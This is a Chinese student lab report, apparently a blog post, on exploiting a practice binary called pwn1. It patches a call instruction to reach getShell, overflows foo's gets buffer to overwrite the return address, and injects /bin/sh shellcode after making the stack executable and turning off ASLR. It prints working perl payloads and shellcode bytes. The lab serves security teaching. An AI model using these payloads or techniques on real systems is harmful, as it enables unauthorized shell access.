20232925 2023-2024-2 《网络与系统攻防技术》第九次作业

20232925 2023-2024-2 《网络与系统攻防技术》第九次作业

1.实践内容

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。

2.实践过程

2.1手工修改可执行文件,改变程序执行流程

下载实验对象文件pwn1到kali虚拟机中,是一个可执行文件类型。然后输入命令对其反汇编。

objdump -d pwn1

结果如图一所示。
在这里插入图片描述

图一

其中main函数一般是程序的入口,这里说明了会调用foo函数,继续向下查看如图二,分析“80484b5: e8 d7 ff ff ff call 8048491 ”这行,从“call 8048491 ”能看出这里main果然调用了foo函数,前面的“e8 d7 ff ff ff”是指下一条执行的指令地址位于“80484b5”。
然后我们也能看到函数有名为getsheel的函数,所以直接考虑调用此函数。可以考虑更改地址来直接执行getsheel,将其地址替换8048491作为main函数执行后的指令,改为“80484ba”对应的补码。
getshell函数地址为“804847d”,它的首地址相对程序下一条指令地址80484ba的偏移为804847d-80484ba=ff ff ff c3,这里是大端字节序列表示的,改写为小端字节序是“c3 ff ff ff”,此时我们用“c3 ff ff ff”替代“d7 ff ff ff”即完成更改。

在这里插入图片描述

图二

首先要下载十六进制dump工具xxd为后续查看做准备。然后用vim编辑pwn20232925文件,接着输入:%!xxd进入十六进制查看模式,如图三所示。
在这里插入图片描述

图三

查找到d7ff后改为c3ff,然后输入:%!xxd -r返回原文格式,然后再:wq保存退出。然后再用objdump 查看更改效果,发现foo已经更改为了getshell函数。如图四所示。
在这里插入图片描述

图四

最后执行pwn20232925可执行文件,输入结果如图五所示。
在这里插入图片描述

图五

2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串

查看实验一中的foo函数,分析函数可知它的功能是从内存中调用gets函数读取字符串,然后调用puts函数输出字符串,结果实际就是复制了一遍用户输入。
安装gdb,然后输入r运行程序,输入“aaaaaaaabbbbbbbbccccccccddddddddeeeeeeee"后出现缓冲区溢出错误如图六所示。
在这里插入图片描述

图六

继续尝试发现当输入字符串在32字节后的33,34,35,36字节会覆盖EIP的内容。如图所以可以在这四个字符位置存放 getShell 的内存地址,然后将字符串输入给pwn20232925就会运行getShell。
执行如下命令,如图七所示。
perl -e 'print "aaaaaaaabbbbbbbbccccccccdddddddd\x7d\x84\x04\x08\x0a"' > input,
将生成一串十六进制字符串文件,然后将输出到名为input的文件中。
在这里插入图片描述

图七

然后执行xxd input查看文件是否符合,如图八所示。
在这里插入图片描述

图八

最后输入命令将上述生成的文件里面的攻击字符串输入到pwn20232925文件中,输入ls测试,发现成功取得了shell,如图九所示。
(cat input; cat) | ./pwn2
在这里插入图片描述

图九

2.3注入一个制作的shellcode运行

在实验一中我们能看到程序源码中有getshell函数,所以可以通过制作shellcode上传执行。首先是需要用到execstack,从网上下载文件后,进入文件目录通过命令dpkg -i execstack_0.0.20131005-1+b10_amd64.deb安装execstack。如图十。
在这里插入图片描述

图十

然后通过命令execstack -s pwn20232925设置堆栈可执行状态,且使用echo "0" > /proc/sys/kernel/randomize_va_space 并关闭地址随机化,如图十一。
在这里插入图片描述

图十一

使用perl向文件shellcode中写入字符串构建shellcode,此前不确定前四位数值随便用4位16进制数替代。
在这里插入图片描述

图十二

接下来需要确定前面的值具体多少,先是输入指令(cat shellcode; cat) | ./pwn20232925注入字符串到程序中,如图十三。
在这里插入图片描述

图十三

然后另外起一个终端,输入ps -ef | grep pwn20232925查找pwn20232925进程号,然后通过进程号使用gdb调试,链接好后反汇编foo函数,确认好返回值地址通过命令break *0x080484ae设置断点。这时返回上一个终端按下回车,然后回到调试输入c让程序继续执行。等待后输入info r esp查看esp值,这里能看到0xffffd040。如图十四。
在这里插入图片描述

图十四

通过指令x/16x 0xffffd040可以查看该地址存放数据。所以需要修改的地址根据shellcode可知,在其后4位,地址应为0xffffd044。如图十五。

图十五

最后修改shellcode,输入指令"perl -e ‘print “A” x 32;print “\x40\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a”’ > shellcode"。
重新运行(cat input_shellcode;cat) | ./pwn20232925,发现获得shell如图十六所示。
在这里插入图片描述

图十六

3.学习中遇到的问题及解决

  • 问题1: execstack命令未找到
  • 问题1解决方案:先是通过源直接install没有定位到,后面去网上下载安装包本地安装。
  • 问题2:最后构造shellcode注入未能获得shell
  • 问题2解决方案: 最终发现弄错了地址,返回地址应当加上4位才是shellcode地址。

4.实践总结

本次实验主要内容关于缓冲区溢出攻击,主要利用了堆栈溢出来执行代码或其他操作。让我对底层认知更近一步,在编写代码也要注意这一方面问题,不能留有漏洞。程序本就是函数之间互相调用,通过反汇编我们能后看到程序函数来分析执行逻辑,也能够确定函数地址,所以这些问题今后都要考虑到。
总之通过这次实验收获了很多,对shellcode的编写逻辑有了一定认知,对注入攻击原理也清晰了不少。

  • 16
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值